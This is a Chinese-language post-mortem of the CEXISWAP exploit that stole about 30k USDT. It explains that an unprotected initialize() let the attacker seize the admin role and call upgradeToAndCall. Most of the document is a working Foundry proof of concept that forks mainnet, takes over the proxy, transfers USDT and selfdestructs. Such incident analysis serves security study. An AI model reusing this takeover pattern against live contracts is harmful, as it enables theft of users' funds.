攻击介绍

cexiswap被黑客攻击,黑客从中盗取了3w的USDT。(CEXISWAP是一个去中心化的多链交易所,通过贸易管道技术在DEX和CEX之间桥接流动性)

TX:0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e

攻击分析

我们通过phalcon来看。攻击合约直接调用受害者的initialize(),使自己成为了admin,再调用受害者的upgradeToAndCall(),再upgradeToAndCall()中受害者再次delegatecall攻击合约的0x1de24bbf函数。

很明显,受害者为对initialize()进行访问限制,导致被攻击。

POC

//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import"forge-std/Test.sol";
import"./interface.sol";

// Attacker : https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04
// Attack Contract : https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1
// Vulnerable Contract : https://etherscan.io/address/0xb8a5890d53df78dee6182a6c0968696e827e3305
// Attack Tx : 0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e

interface ICEXISWAP {
function initialize(
string memory name,
string memory ticker,
address _treasuryWallet,
address _communityWallet,
address _admin,
address _strategy
) external;

function upgradeToAndCall(
address newImplementation,
bytes memory data
) external payable;
}

contract CEXISWAPTest is Test{
ICEXISWAP constant cexiswap = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
IUSDT constant usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
Exploiter public exploiter;

function setUp() public{
vm.createSelectFork("mainnet", 18182605);
vm.label(address(cexiswap), "CEXISWAP");
vm.label(address(usdt), "USDT");
}

function testexploit() public{
exploiter = new Exploiter();
exploiter.exploit();
}
}

contract Exploiter{
ICEXISWAP constant cexiswap = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
IUSDT constant usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
bytes32 constant solt = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address owner;


function exploit() public{
cexiswap.initialize(
"HAX",
"HAX",
address(this),
address(this),
address(this),
address(this));

cexiswap.upgradeToAndCall( address(this),abi.encodePacked(this.exploit2.selector));

this.killMe();
}

function exploit2() public{
owner = address(this);

usdt.transfer(owner, usdt.balanceOf(address(this)));
}

function upgradeTo(address newImplementation) external {
bytes32 _slot = solt;
assembly {
sstore(_slot, newImplementation)
}
}

function killMe() public{
selfdestruct(payable(msg.sender));
}
}